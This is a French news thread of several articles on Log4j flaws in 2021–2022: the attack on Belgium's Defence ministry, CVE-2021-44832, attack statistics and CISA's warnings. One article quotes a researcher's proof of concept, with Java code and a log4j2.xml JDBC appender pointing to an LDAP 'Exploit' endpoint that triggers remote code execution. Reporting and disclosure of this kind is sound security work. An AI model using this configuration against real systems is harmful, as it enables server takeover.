1 pièce(s) jointe(s)
Le ministère de la Défense belge subit une cyberattaque en raison d'une vulnérabilité de Log4j
Le ministère de la Défense belge subit une cyberattaque en raison d'une vulnérabilité de Log4j,
l'identité des auteurs de l'attaque est toutefois inconnue
Le ministère belge de la défense a déclaré le 16 décembre avoir découvert une attaque sur son réseau informatique. L'attaque qui a eu lieu la semaine dernière en exploitant l'une des vulnérabilités de Log4j a paralysé certaines activités du ministère. « La Défense a découvert une attaque sur son réseau informatique avec accès à Internet. Des mesures de quarantaine ont été rapidement prises pour isoler les parties touchées. Cette attaque fait suite à l'exploitation de la vulnérabilité Log4j, qui a été rendue publique la semaine dernière et pour laquelle les spécialistes informatiques du monde entier s'engouffrent dans la brèche », a déclaré, Olivier Severin le porte-parole du ministère.
Depuis jeudi dernier, l'armée belge est aux prises avec les conséquences d'une grave cyberattaque. Une partie du réseau informatique ne peut être utilisée pour l'instant, précise le porte-parole. Le système de messagerie, par exemple, est en panne depuis plusieurs jours. L'attaque informatique s'est produite après qu'une faille de sécurité dans le logiciel ait été découverte la semaine dernière seulement.
Comme indiqué précédemment, l'attaque à la Défense a été causée par une faille dans la sécurité du logiciel Log4j d'Apache, largement utilisé. La faille de sécurité est apparue juste avant le week-end et représente un risque important pour les réseaux d'entreprise du monde entier, car de nombreuses applications bien connues utilisent le logiciel en question pour conserver les "journaux".
Selon le fournisseur israélien de solutions de cybersécurité Check Point Software Technologies, un groupe de pirates informatiques liés au régime iranien, surnommé Charming Kitten ou APT 35, a exploité la faille de Log4j pour lancer des attaques contre sept cibles en Israël, dont des sites gouvernementaux.
Log4j est une bibliothèque de journalisation open source basée sur Java utilisée dans des millions d'applications. Il y a quelques jours, une vulnérabilité dans Log4J a été découverte. Elle permet à un cybercriminel de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement.
Grâce à Log4j, les entreprises technologiques peuvent vérifier si leurs applications fonctionnent correctement. S'il y a un défaut quelque part dans une application, un message d'erreur est envoyé via Log4j au fabricant, qui peut alors déterminer si une réparation est nécessaire. Amazon, Apple, Cloudflare, Tesla, Minecraft et Twitter, entre autres, utilisent également Log4j.
L’attaque a été causée par une faille dans la sécurité du logiciel Log4j d'Apache, largement utilisé, selon le ministère de la Défense. La faille de sécurité est apparue juste avant le week-end et représente un risque important pour les réseaux d'entreprise du monde entier, car de nombreuses applications bien connues utilisent le logiciel en question pour conserver des "journaux".
La semaine dernière, des avertissements ont été lancés concernant les problèmes causés par la fuite dans le logiciel largement utilisé. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Pour remédier à cette situation, les membres de l’Apache Software Fondation ont développé un patch.
Les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.
Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.
Des chercheurs de la société de sécurité Praetorian ont déclaré qu'il y avait une vulnérabilité encore plus grave dans 2.15.0 (une faille de divulgation d'informations qui peut être utilisée pour télécharger des données à partir des serveurs concernés).
Le Centre de cybersécurité de Belgique, une organisation gouvernementale, a publié un communiqué de presse indiquant que « Les entreprises qui utilisent le logiciel Apache Log4j et qui n'ont pas encore pris de mesures peuvent s'attendre à des problèmes majeurs dans les jours et les semaines à venir. » La semaine dernière, l'Agence pour la cybersécurité et la sécurité des infrastructures (CISA) du gouvernement américain a publié une directive d'urgence exigeant que les agences fédérales prennent des mesures correctives concernant la vulnérabilité d'Apache Log4j avant le 23 décembre 2021.
Source : VRT
Et vous ?
:fleche: Quel est votre avis sur le sujet ?
Voir aussi :
:fleche: Jamais deux sans trois : Apache révèle un autre bogue dans la bibliothèque de journalisation Log4J, le troisième correctif majeur en dix jours est une faille de récursivité infinie
:fleche: Plus de 35 000 packages Java impactés par les vulnérabilités Log4j, selon un rapport de l'équipe open source de Google
:fleche: Des cybercriminels exploitent activement la faille critique dans Log4J : plus de 840 000 attaques ont été détectées, le spectre d'un scénario rappelant Heartbleed fait surface
:fleche: Les cybercriminels exploitent la faille "zero-day", alors que les entreprises prennent 97 jours en moyenne pour mettre en œuvre les correctifs, selon HP Wolf Security
3 pièce(s) jointe(s)
Une quatrième vulnérabilité découverte dans la bibliothèque de journalisation Log4J
Une quatrième vulnérabilité découverte dans la bibliothèque de journalisation Log4J,
les utilisateurs sont conviés à passer à la version 2.17.1
Apache a publié une autre version de Log4j, la version 2.17.1, qui corrige une vulnérabilité d'exécution de code à distance (RCE) nouvellement découverte dans Log4j 2.17.0, suivie comme CVE-2021-44832. Avant celle-ci, Log4j 2.17.0 était la version la plus récente de Log4j et était considérée comme la version la plus sûre pour la mise à niveau, mais ce conseil a maintenant évolué.
Log4j est une bibliothèque de journalisation open source basée sur Java utilisée dans des millions d'applications. Plus tôt ce mois-ci, une vulnérabilité dans Log4J a été découverte. Elle permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.
Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.
Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.
La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.
La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :
« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».
Le programme de primes de bogues indépendant des fournisseurs, Zero Day Initiative, a décrit la faille comme suit :
« Lorsqu'une variable imbriquée est remplacée par la classe StrSubstitutor, elle appelle récursivement la classe substitut(). Cependant, lorsque la variable imbriquée fait référence à la variable à remplacer, la récursivité est appelée avec la même chaîne. Cela conduit à une récursivité infinie et à une condition DoS sur le serveur ».
L'ASF a également décrit les mesures d'atténuation suivantes :
Dans PatternLayout dans la configuration de la journalisation, remplacez les recherches de contexte comme ${ctx:loginId} ou $${ctx:loginId} par les modèles de mappe de contexte de thread (%X, %mdc ou %MDC) .
Sinon, dans la configuration, supprimez les références aux recherches contextuelles telles que ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.
La faille a été corrigée dans Log4j 2.17.0 (Java 8).
Une nouvelle mise à jour est disponible
Un autre bogue critique d'exécution de code à distance qui est maintenant suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.
Classé «*modéré*» en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.
« JDBC Appender doit utiliser JndiManager lors de l'accès à JNDI. L'accès JNDI doit être contrôlé via une propriété système », est-il indiqué sur la description du problème. «*Lié à CVE-2021-44832 où un attaquant autorisé à modifier le fichier de configuration de journalisation peut construire une configuration malveillante à l'aide d'un appender JDBC avec une source de données référençant un URI JNDI qui peut exécuter du code à distance.*»
L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.
Le chercheur en sécurité de Checkmarx, Yaniv Nizry, a revendiqué le mérite d'avoir signalé la vulnérabilité d'Apache*:
Le tweet de Nizry a rapidement été relayé, attirant des remarques et des mèmes d'experts en sécurité et de «*victimes*» de la fatigue continue des correctifs log4j.
« J'espère que c'est une blague, j'espère tellement... #log4j », a tweeté un utilisateur en réponse.
« Nous avons LONGTEMPS dépassé le point où la seule chose responsable à faire est de mettre en place une enseigne au néon clignotante géante qui dit "LOG4J NE PEUT PAS ÊTRE RÉPARÉ, NE L'UTILISEZ PAS POUR RIEN" », a raillé un autre.
L'expert en sécurité Kevin Beaumont a qualifié l'instance d'autre «*divulgation ratée de Log4j*» pendant la période des congés.
Une divulgation trop rapide ?
Au moment du tweet de Nizry, il n'y avait pas encore d'avis ou de mémo officiel indiquant la présence d'un bogue RCE dans log4j 2.17.
Le tweet lui-même ne contenait aucun détail sur la vulnérabilité ou sur la manière dont elle pourrait être exploitée, mais, en quelques minutes, a conduit un groupe de professionnels de la sécurité et d'internautes à commencer à enquêter sur la réclamation.
La divulgation prématurée des vulnérabilités de sécurité peut inciter les acteurs malveillants à mener des activités d'analyse et d'exploitation malveillantes, comme en témoigne la fuite d'exploit Log4Shell du 9 décembre.
Marc Rogers, vice-président de la cybersécurité chez Okta a d'abord révélé l'identifiant de la vulnérabilité (CVE-2021-44832) et que l'exploitation du bogue dépend d'une configuration log4j autre que celle par défaut où la configuration est chargée à partir d'un serveur distant*:
Jusqu'à présent, les vulnérabilités de log4j ont été exploitées par toutes sortes d'acteurs malveillants, des pirates informatiques soutenus par des États aux gangs de ransomware et autres pour injecter des mineurs Monero sur des systèmes vulnérables.
Le gang de ransomware Conti a été surpris en train de surveiller des serveurs VMWare vCenter vulnérables. Les attaquants qui ont violé la plateforme de cryptographie vietnamienne, ONUS, via log4shell ont exigé une rançon de 5 millions de dollars.
Les utilisateurs de Log4j doivent immédiatement passer à la dernière version 2.17.1 (pour Java 8). Les versions rétroportées 2.12.4 (Java 7) et 2.3.2 (Java 6) contenant le correctif devraient également être publiées sous peu.
Détails techniques de la nouvelle faille
Yaniv Nizry, un chercheur de la société de sécurité Checkmarx a découvert cette vulnérabilité RCE :
« Étant des chercheurs extrêmement concentrés et dévoués, nous voulions faire nous-mêmes un audit de sécurité sur le package log4j dans l'espoir de trouver quelque chose d'intéressant. Et après une semaine d'examen du code et de tests, nous avons rencontré une nouvelle vulnérabilité de sécurité de désérialisation non découverte. Cette vulnérabilité n'utilise pas la fonction de recherche désactivée. La complexité de cette vulnérabilité est plus élevée que la CVE-2021-44228 d'origine car elle nécessite que l'attaquant ait le contrôle de la configuration (comme la vulnérabilité «*logback*» CVE-2021-42550). Contrairement à logback, dans log4j, il existe une fonctionnalité permettant de charger un fichier de configuration à distance ou de configurer l'enregistreur via le code, de sorte qu'une exécution de code arbitraire pourrait être réalisée avec une attaque MITM, l'entrée de l'utilisateur se retrouvant dans une variable de configuration vulnérable ou en modifiant le fichier de configuration.
« En examinant les fonctionnalités de log4j, nous sommes tombés sur les fonctionnalités «*Appender*». Les appenders sont essentiellement l'endroit où sortir les journaux, nous avons donc par exemple ConsoleAppender, FileAppender, etc.
« Le JDBCAppender a attiré notre attention car il existe des moyens publics d'obtenir RCE via la désérialisation Java JDBC (voir cette conférence Blackhat de Yongtao Wang, Lucas Zhang et Kunzhe Chai pour plus d'informations.)
« Mais avant d'aborder la désérialisation JDBC dans log4j, nous avons remarqué que dans la documentation il existe un moyen de configurer log4j pour qu'il récupère la source de la base de données dynamiquement et à distance via JNDI ».
Il a également donné des étapes à reproduire, notamment la récupération de la configuration à distance via HTTP*:
Code:
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
En utilisant le même serveur LDAP (Lightweight Directory Access Protocol) que dans le PoC (Proof of Concept) CVE-2021-44228, tout ce que nous avons à faire est d'exécuter*:
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| //log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
static {
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
}
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
}
} |
Et pour servir le log4j2.xml suivant*:
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
<Column name="eventDate" isEventTimestamp="true" />
<Column name="level" pattern="%level" />
<Column name="logger" pattern="%logger" />
<Column name="message" pattern="%message" />
<Column name="exception" pattern="%ex{full}" />
</JDBC>
</Appenders>
<Loggers>
<Root level="warn">
<AppenderRef ref="databaseAppender"/>
</Root>
</Loggers>
</Configuration> |
Quels résultats attendre ? Lors de l'initialisation de l'objet logger, une requête au log4j2.xml distant sera effectuée. Dans le processus de chargement, une tentative de chargement de l'objet DataSource fera une requête au serveur LDAP qui redirigera alors vers une classe malveillante. À la fin, la classe arbitraire sera désérialisée et exécutée.
Pourquoi est-ce critique ? « L'impact de la vulnérabilité log4shell (alias CVE-2021-44228) sur l'industrie était important, et un large éventail d'organisations ont déclaré avoir été affectées. Cela démontre la grande échelle des entreprises qui utilisent log4j dans leurs écosystèmes. L'équipe log4j d'Apache a travaillé dur pour ajouter des correctifs de sécurité à la dernière version de log4j (2.17.0) pour désactiver les recherches et autoriser une liste de protocoles/hôtes. Comme vous pouvez le voir, en utilisant un vecteur d'attaque différent, il est toujours possible de réaliser une exécution de code arbitraire en utilisant la configuration par défaut ».
Source : Checkmarx
3 pièce(s) jointe(s)
Les cyberattaques ont augmenté de 50 % en 2021, avec un pic en décembre, à cause de la faille dans Log4J
Les cyberattaques ont augmenté de 50 % en 2021 et atteint un pic en décembre, à cause de la faille qui a impacté la bibliothèque logicielle Log4J, d'après une analyse Check Point Research
En ce début d’année, Check Point Research (CPR) partage les statistiques mondiales des augmentations de cyberattaques observées en 2021 par région, pays et industrie. L'année dernière, CPR a constaté une augmentation de 50 % des cyberattaques par semaine sur les réseaux d'entreprise par rapport à 2020, avec un pic en décembre, en grande partie dû à la faille de sécurité qui a impacté Log4J.
Les pirates ont surtout ciblé l'Afrique, l'Asie-Pacifique et l'Amérique latine, mais l'Europe a connu la plus forte augmentation en pourcentage des cyberattaques d'une année sur l'autre. Le secteur de l'éducation et de la recherche est le plus ciblé au monde.
- Les cyberattaques contre le secteur de l'éducation et de la recherche ont augmenté de 75 % en 2021.
- Les cyberattaques contre le secteur public ont augmenté de 47 % en 2021.
- Les cyberattaques contre le secteur de la santé ont augmenté de 71 % en 2021.
Check Point Research (CPR) partage les statistiques mondiales des augmentations des cyberattaques contre les organisations en 2021 par région, pays et secteur d'activité. L'année dernière, CPR a constaté 50 % de cyberattaques en plus par semaine sur les réseaux d'entreprise par rapport à 2020. La tendance à l'augmentation des cyberattaques a atteint un niveau record fin 2021 après les révélations de l'exploit Log4J, avec un pic à 925 cyberattaques par semaine et par organisation, au niveau mondial.
Les secteurs les plus ciblés par les pirates informatiques dans le monde en 2021
1 - Enseignement/Recherche (+75%)
2 - Gouvernement/Militaire (+47%)
3 - Communications (+51%)
4 - ISP/MSP (67%)
5 - Santé (71%)
Régions les plus visées
1 - Afrique (+13%)
2 - Asie Pacifique (+25%)
3 - Amérique Latine
4 - Europe (+68%)
5 - Amérique du Nord (+61%)
Déclaration d'Omer Dembinsky, responsable de la recherche sur les données, chez Check Point Software :
« Les pirates informatiques ne cessent d'innover. L'année dernière, nous avons constaté une augmentation stupéfiante de 50 % des cyberattaques perpétrées chaque semaine, sur les réseaux d'entreprise par rapport à 2020 - c'est une augmentation considérable. Le nombre de cyberattaques a atteint un pic vers la fin de l'année, en grande partie en raison de la faille de sécurité qui a touché la bibliothèque Log4J. Grâce aux nouvelles techniques d’intrusion et aux méthodes d'évasion, les pirates peuvent désormais mettre plus facilement à exécution leurs intentions malveillantes. Ce qui est plus alarmant, c'est que certains secteurs essentiels de la société (les OIV) figurent dans la liste des cibles. Les secteurs de l'éducation, de l'administration et de la santé figurent dans le top 5 des secteurs les plus attaqués au niveau mondial. Je m'attends à ce que ces chiffres augmentent en 2022, car les pirates continueront d'innover et de trouver de nouvelles méthodes pour exécuter des cyberattaques, en particulier des ransomwares. Pour ainsi dire, nous sommes dans une cyber pandémie. J'invite instamment le public, et en particulier les personnes travaillant dans les secteurs de l'éducation, de l'administration et de la santé, à se familiariser avec les principes de base de la cyber protection. Des mesures simples telles que l'application de correctifs, la segmentation des réseaux et la formation des employés peuvent contribuer grandement à rendre le monde plus sûr. »
Conseils de sécurité :
- Prévenir
- Tout sécuriser
- Appliquer régulièrement des correctifs
- Segmenter les réseaux
- Former les employés
- Installer des technologies de sécurité avancées
Les données utilisées dans ce rapport ont été détectées par les technologies Threat Prevention de Check Point, puis stockées et analysées dans ThreatCloud. ThreatCloud fournit des renseignements sur les menaces en temps réel provenant de centaines de millions de capteurs dans le monde entier, sur les réseaux, les terminaux et les mobiles. ThreatCloud est en fait le cerveau qui se cache derrière la puissance de prévention des menaces de Check Point Software, il combine les renseignements sur les menaces du Big Data avec des technologies avancées d'IA pour fournir une prévention précise à tous les clients de Check Point Software.
Source : Check Point Research
Et vous ?
:fleche: Trouvez-vous cette analyse pertinente ?
Voir aussi :
:fleche: 95 000 cyberattaques ont été recensées cette année, une augmentation de 45 398 par rapport à 2020, les grandes entreprises étant les plus ciblées, selon Orange Cyberdefense
:fleche: Les ransomwares ont augmenté de 62 % depuis 2019, avec un pic de 158 % en Amérique du Nord, les cybercriminels utilisant des tactiques plus sophistiquées et des variantes plus dangereuses comme Ryuk
:fleche: Les entreprises de taille moyenne sont 490 % plus susceptibles d'être victimes d'une atteinte à la vie privé, dû au manque de ressources et au coût élevé des expertises, selon Coro
1 pièce(s) jointe(s)
Log4j : la directrice du CISA s'attend à des retombées de la faille qui vont s'étendre sur des années
Log4j : la directrice du CISA s'attend à des retombées de la faille qui vont s'étendre sur des années
et servir à des intrusions futures dans les systèmes des entreprises
Les professionnels de la sécurité seront confrontés aux retombées du bogue Log4j pendant longtemps, ont déclaré lundi de hauts responsables de la Cybersecurity and Infrastructure Security Agency (CISA). Si elle n'est pas corrigée ou autrement non corrigée, la faille de sécurité majeure découverte il y a un mois dans la bibliothèque de journalisation Java Apache Log4j présente des risques pour d'énormes pans d'Internet. La vulnérabilité du logiciel largement utilisé pourrait être exploitée par des cyberattaquants pour s'emparer de serveurs informatiques, mettant potentiellement tout, de l'électronique grand public aux systèmes gouvernementaux et d'entreprise, en danger de cyberattaque.
Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.
Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap:// est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.
Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.
La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».
Des preuves de concept ont déjà été publiées. Cette vulnérabilité fait l'objet d'une exploitation active.
La sévérité de la brèche est maximale 10 sur l’échelle CVSS.
Elle permet donc à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.
Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.
Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.
La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.
La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :
« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».
Le programme de primes de bogues indépendant des fournisseurs, Zero Day Initiative, a décrit la faille comme suit :
« Lorsqu'une variable imbriquée est remplacée par la classe StrSubstitutor, elle appelle récursivement la classe substitut(). Cependant, lorsque la variable imbriquée fait référence à la variable à remplacer, la récursivité est appelée avec la même chaîne. Cela conduit à une récursivité infinie et à une condition DoS sur le serveur ».
L'ASF a également décrit les mesures d'atténuation suivantes :
- Dans PatternLayout dans la configuration de la journalisation, remplacez les recherches de contexte comme ${ctx:loginId} ou $${ctx:loginId} par les modèles de mappe de contexte de thread (%X, %mdc ou %MDC) .
- Sinon, dans la configuration, supprimez les références aux recherches contextuelles telles que ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.
La faille a été corrigée dans Log4j 2.17.0 (Java 8).
Un autre bogue critique d'exécution de code à distance qui est maintenant suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.
Classé « modéré » en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.
L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.
La prise de parole du CISA
Aucune agence fédérale américaine n'a été compromise en raison de la vulnérabilité, a déclaré lundi la directrice de la CISA, Jen Easterly, aux journalistes lors d'un appel. En outre, aucune cyberattaque majeure impliquant le bogue n'a été signalée aux États-Unis, bien que de nombreuses attaques ne soient pas signalées, a-t-elle déclaré.
Easterly a déclaré que l'étendue de la vulnérabilité, qui affecte des dizaines de millions d'appareils connectés à Internet, en fait la pire qu'elle ait vue dans sa carrière. Il est possible, a-t-elle dit, que les attaquants attendent leur heure, attendant que les entreprises et autres baissent leurs défenses avant d'attaquer.
« Nous nous attendons à ce que Log4Shell soit utilisé dans les intrusions dans le futur », a déclaré Easterly. Elle a noté la violation de données d'Equifax en 2017, qui a compromis les informations personnelles de près de 150 millions d'Américains, découlait d'une vulnérabilité dans un logiciel open source.
Jusqu'à présent, la plupart des tentatives d'exploitation du bogue se sont concentrées sur le minage de crypto-monnaies de bas niveau ou sur des tentatives d'attirer des appareils dans des botnets, a-t-elle déclaré.
L'une des premières attaques connues utilisant la vulnérabilité impliquait le jeu informatique Minecraft. Les attaquants ont pu s'emparer de l'un des serveurs du jeu de construction du monde avant que Microsoft, propriétaire de Minecraft, ne corrige le problème.
Il y a eu de grosses attaques ailleurs. Le ministère belge de la défense a déclaré le 16 décembre avoir découvert une attaque sur son réseau informatique. L'attaque a paralysé certaines activités du ministère. « La Défense a découvert une attaque sur son réseau informatique avec accès à Internet. Des mesures de quarantaine ont été rapidement prises pour isoler les parties touchées. Cette attaque fait suite à l'exploitation de la vulnérabilité Log4j, qui a été rendue publique la semaine dernière et pour laquelle les spécialistes informatiques du monde entier s'engouffrent dans la brèche », a déclaré Olivier Severin le porte-parole du ministère.
Source : entretien avec la Directrice du CISA Jen Easterly